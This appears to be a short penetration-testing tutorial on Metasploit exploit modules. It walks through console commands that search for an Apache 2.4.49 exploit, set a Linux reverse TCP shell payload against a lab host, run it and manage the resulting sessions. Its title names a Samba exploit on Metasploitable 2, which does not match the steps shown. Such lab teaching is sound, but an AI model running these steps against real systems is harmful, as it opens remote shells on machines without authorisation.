Exploit Modules

SAMBA exploit in Metasploitable 2

But first lets understand what are exploit modules.

Exploit modules are designed to leverage vulnerabilities in systems or applications, allowing the execution of arbitrary code on the target. Exploit modules are the heart of metasploit and are carefully crafted to target specific weaknesses in software, allowing us to gain control or access to the target system.

Exploit modules are organized by platform, such as Windows, Linux, Unix, Android, etc. This allows targeting specific vulnerabilities based on the target's operating system or environment.

- Exploit modules typically consist of the following components:The exploit code that triggers the vulnerability
- A payload (shellcode) that gets executed on the target after successful exploitation.

Lets see how we can do this practically, we already have touched on it earlier in our exploitation module, but lets do it again with some more detail.

- Creating a workspace for the exploit module.

```
workspace -a exploits
```

- Search for a particular exploit.

```
search Apache 2.4.49
```

- Use the exploit and go through the info once before executing it.

```
use 0

info
```

- Set required options for the exploit.

```
# show required options

show options

# set payload manually

set payload payload/linux/x64/shell_reverse_tcp

# set SSL status to false as it is not running on HTTPS

set SSL false

# Set target port

set RPORT 80

# set target host

set RHOSTS 192.168.50.16

run
```

- Background the current session with **Ctrl+Z** and list them using the below command.

```
sessions -l
```

- Interact with the session using the below command. Here the number is the session ID.

```
sessions -i 2
```

- Use the below command to kill a session.

```
# Kill session 2

sessions -k 2

# Kill all sessions

sessions -K
```